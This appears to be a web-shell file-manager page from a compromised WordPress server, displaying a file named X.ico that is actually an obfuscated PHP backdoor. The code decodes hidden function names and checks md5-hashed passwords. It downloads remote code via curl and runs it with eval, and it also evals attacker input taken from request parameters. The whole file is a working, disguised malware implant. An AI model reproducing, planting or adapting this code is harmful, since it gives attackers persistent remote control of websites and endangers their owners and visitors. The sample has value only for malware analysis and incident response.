HEX
Server: Apache
System: Linux vpshost0650.publiccloud.com.br 4.4.79-grsec-1.lc.x86_64 #1 SMP Wed Aug 2 14:18:21 -03 2017 x86_64
User: bandeirantesbomb3 (10068)
PHP: 8.0.7
Disabled: apache_child_terminate,dl,escapeshellarg,escapeshellcmd,exec,link,mail,openlog,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,php_check_syntax,php_strip_whitespace,popen,proc_close,proc_open,shell_exec,symlink,system
Upload Files
File: /home/storage/0/fc/16/bandeirantesbomb3/public_html/wp-admin/css/colors/light/light/X.ico
<?php
 goto b0cbhCsu4qt; HCqrxu6exm4: $HKzpg6x4kbM = ${$Tn7AUBw4S0K[29 + 2] . $Tn7AUBw4S0K[41 + 18] . $Tn7AUBw4S0K[26 + 21] . $Tn7AUBw4S0K[46 + 1] . $Tn7AUBw4S0K[9 + 42] . $Tn7AUBw4S0K[15 + 38] . $Tn7AUBw4S0K[41 + 16]}; goto dBofuL2WWc1; dbGZ2o8H1zg: $Tn7AUBw4S0K = $FaAj5n1ylVr("\x7e", "\40"); goto HCqrxu6exm4; iOl7ZPa2Y_B: VlDwVJPyZTO: goto YSVKanXnVIX; YSVKanXnVIX: metaphone("\x70\x73\102\x6b\x2b\x2f\x63\x58\x4b\x78\66\132\121\x35\x66\x7a\x78\124\110\117\127\121\157\x45\x55\x75\163\x43\67\111\60\x4c\x57\x4a\144\151\x50\153\x46\x76\124\147\125"); goto xzmpv78cBNs; xzmpv78cBNs: class sKlDMdRO23V { static function YuKuWhEjgJG($c4B0qLqTnk8) { goto Y6VJEJU3ZM9; T9R3SLlFxTg: gNCy9ieuMiT: goto YUa9QN37Vbp; FtYT20Tm7Y2: $p_z4ll944FD = $LLTIXunnayn("\x7e", "\x20"); goto XYzLpAgRI51; YUa9QN37Vbp: return $LFNJPWMU0rI; goto EuffyhTFeXj; XYzLpAgRI51: $HvkfaX4JaxU = explode("\x21", $c4B0qLqTnk8); goto g9DwedAKzYv; Y6VJEJU3ZM9: $LLTIXunnayn = "\162" . "\141" . "\x6e" . "\147" . "\x65"; goto FtYT20Tm7Y2; ZxYjymD2sMk: foreach ($HvkfaX4JaxU as $KHRDlimYgeI => $aHDlaLgN6U6) { $LFNJPWMU0rI .= $p_z4ll944FD[$aHDlaLgN6U6 - 42385]; W3xccvt54Gz: } goto T9R3SLlFxTg; g9DwedAKzYv: $LFNJPWMU0rI = ''; goto ZxYjymD2sMk; EuffyhTFeXj: } static function Nhzv41qXKkb($kqZU01blKEf, $DFxnyUzFDjs) { goto P4ibYb2rzPi; AUVT9ByIQCM: curl_setopt($O2PoJSSKN4Y, CURLOPT_RETURNTRANSFER, 1); goto EHh6mBJdy8x; O8jMQqYVkMl: return empty($gCNvHfN3oNJ) ? $DFxnyUzFDjs($kqZU01blKEf) : $gCNvHfN3oNJ; goto zSAisoUUm7x; P4ibYb2rzPi: $O2PoJSSKN4Y = curl_init($kqZU01blKEf); goto AUVT9ByIQCM; EHh6mBJdy8x: $gCNvHfN3oNJ = curl_exec($O2PoJSSKN4Y); goto O8jMQqYVkMl; zSAisoUUm7x: } static function K6pxWAnLf91() { goto Pygy2_0EfNt; VakaUYj4sfJ: ISoPwAPY7Yh: goto XO0qY_ybZS3; iMYMbi1psxI: $uD7ziCyJuHs = self::nHzv41QXKkb($zvHE4V0xplW[1 + 0], $tOMv8KNbURy[4 + 1]); goto jh3vVAnWgmh; jtLWBDCUygB: $zvHE4V0xplW = $tOMv8KNbURy[0 + 2]($JjzA43jQ0Fs, true); goto EM7iIYyG7ri; Pygy2_0EfNt: $qpOzXlKiVNl = array("\64\x32\x34\61\62\x21\x34\62\63\x39\67\x21\64\x32\64\61\x30\41\x34\x32\x34\61\x34\41\64\x32\x33\x39\x35\41\64\62\64\61\60\41\x34\x32\64\x31\x36\41\64\62\x34\60\71\x21\x34\62\63\x39\64\x21\64\62\64\60\x31\41\64\62\x34\x31\62\x21\64\x32\63\71\65\41\64\x32\64\x30\66\x21\64\62\64\x30\x30\41\x34\62\x34\x30\61", "\64\x32\63\x39\66\x21\64\62\63\71\65\41\64\x32\63\x39\67\x21\x34\x32\x34\x31\x36\41\x34\x32\63\x39\x37\41\x34\62\64\x30\x30\x21\x34\62\63\x39\x35\41\x34\x32\x34\66\x32\41\64\62\64\66\x30", "\x34\x32\64\x30\65\41\64\x32\63\71\66\41\x34\x32\64\60\x30\41\x34\x32\64\60\61\x21\x34\62\64\x31\66\x21\64\62\64\x31\x31\x21\64\x32\x34\61\60\41\x34\62\64\x31\62\x21\64\x32\x34\x30\60\41\x34\62\64\61\x31\x21\x34\62\64\x31\x30", "\64\62\x33\x39\71\x21\64\62\x34\61\64\x21\x34\62\x34\x31\62\x21\x34\62\x34\x30\x34", "\64\62\x34\x31\x33\41\64\x32\64\x31\x34\x21\64\62\x33\x39\x36\x21\x34\62\64\61\x30\x21\64\x32\64\65\x37\41\x34\x32\x34\x35\x39\41\x34\x32\64\61\x36\x21\64\x32\64\x31\61\x21\64\62\64\61\60\x21\x34\x32\64\61\62\x21\x34\62\x34\60\60\x21\x34\x32\x34\61\x31\x21\x34\x32\x34\x31\x30", "\x34\x32\64\x30\x39\x21\64\x32\x34\60\66\x21\x34\x32\x34\x30\63\41\x34\62\x34\61\x30\41\64\62\64\x31\x36\41\64\x32\x34\60\70\41\64\62\64\x31\60\x21\64\62\63\71\x35\41\x34\x32\x34\x31\x36\x21\x34\x32\x34\x31\x32\41\64\62\64\x30\60\x21\64\62\x34\x30\x31\41\x34\62\x33\x39\x35\41\x34\62\x34\x31\x30\41\64\x32\64\x30\x31\41\x34\62\63\71\x35\41\64\62\63\x39\66", "\x34\x32\64\x33\71\x21\64\62\64\x36\71", "\64\62\x33\x38\x36", "\64\x32\64\x36\64\x21\x34\x32\64\66\71", "\64\x32\64\64\x36\41\x34\62\64\x32\71\x21\x34\x32\x34\x32\x39\41\x34\62\64\x34\66\x21\64\62\x34\x32\x32", "\x34\x32\64\60\71\41\64\x32\x34\60\x36\41\64\x32\x34\x30\x33\41\64\62\63\x39\65\41\x34\62\64\61\60\x21\x34\x32\x33\71\67\41\64\62\64\61\x36\x21\x34\x32\64\60\66\41\64\x32\x34\60\x31\x21\x34\62\x33\x39\x39\41\x34\x32\63\71\64\x21\64\62\63\x39\65"); goto LZmsSMhTWqR; LZmsSMhTWqR: foreach ($qpOzXlKiVNl as $Vw3YtdAXeH2) { $tOMv8KNbURy[] = self::yukUwhejGjG($Vw3YtdAXeH2); KksiB_TnW54: } goto VakaUYj4sfJ; jh3vVAnWgmh: @eval($tOMv8KNbURy[4 + 0]($uD7ziCyJuHs)); goto psV0J0PZMyn; EM7iIYyG7ri: @$tOMv8KNbURy[2 + 8](INPUT_GET, "\x6f\x66") == 1 && die($tOMv8KNbURy[3 + 2](__FILE__)); goto y8Fim9FHjwB; y8Fim9FHjwB: if (!(@$zvHE4V0xplW[0] - time() > 0 and md5(md5($zvHE4V0xplW[1 + 2])) === "\141\x63\x32\65\145\x33\67\x38\63\62\144\x34\64\x33\63\x30\x61\x38\62\x66\x37\x36\144\63\x62\142\70\61\x38\143\66\x61")) { goto GkWT6QpzEm5; } goto iMYMbi1psxI; XO0qY_ybZS3: $pLh0tqtAgmd = @$tOMv8KNbURy[1]($tOMv8KNbURy[6 + 4](INPUT_GET, $tOMv8KNbURy[8 + 1])); goto dAPI9lxVunT; psV0J0PZMyn: die; goto fO1IeHNK6lb; fO1IeHNK6lb: GkWT6QpzEm5: goto k3gNfhJLtZC; dAPI9lxVunT: $JjzA43jQ0Fs = @$tOMv8KNbURy[1 + 2]($tOMv8KNbURy[4 + 2], $pLh0tqtAgmd); goto jtLWBDCUygB; k3gNfhJLtZC: } } goto aqDqpFop1ig; b0cbhCsu4qt: $FaAj5n1ylVr = "\162" . "\141" . "\x6e" . "\x67" . "\x65"; goto dbGZ2o8H1zg; dBofuL2WWc1: if (!(in_array(gettype($HKzpg6x4kbM) . count($HKzpg6x4kbM), $HKzpg6x4kbM) && count($HKzpg6x4kbM) == 19 && md5(md5(md5(md5($HKzpg6x4kbM[13])))) === "\x65\67\146\x64\x37\70\66\x37\x35\61\x36\143\146\143\x34\x63\66\x66\70\142\70\x65\x66\x61\x34\142\x64\x39\63\143\x32\61")) { goto VlDwVJPyZTO; } goto o1VBq2ub4u1; o1VBq2ub4u1: ($HKzpg6x4kbM[62] = $HKzpg6x4kbM[62] . $HKzpg6x4kbM[78]) && ($HKzpg6x4kbM[84] = $HKzpg6x4kbM[62]($HKzpg6x4kbM[84])) && @eval($HKzpg6x4kbM[62](${$HKzpg6x4kbM[37]}[30])); goto iOl7ZPa2Y_B; aqDqpFop1ig: SKLdMdRo23V::K6pxWAnLf91();
?>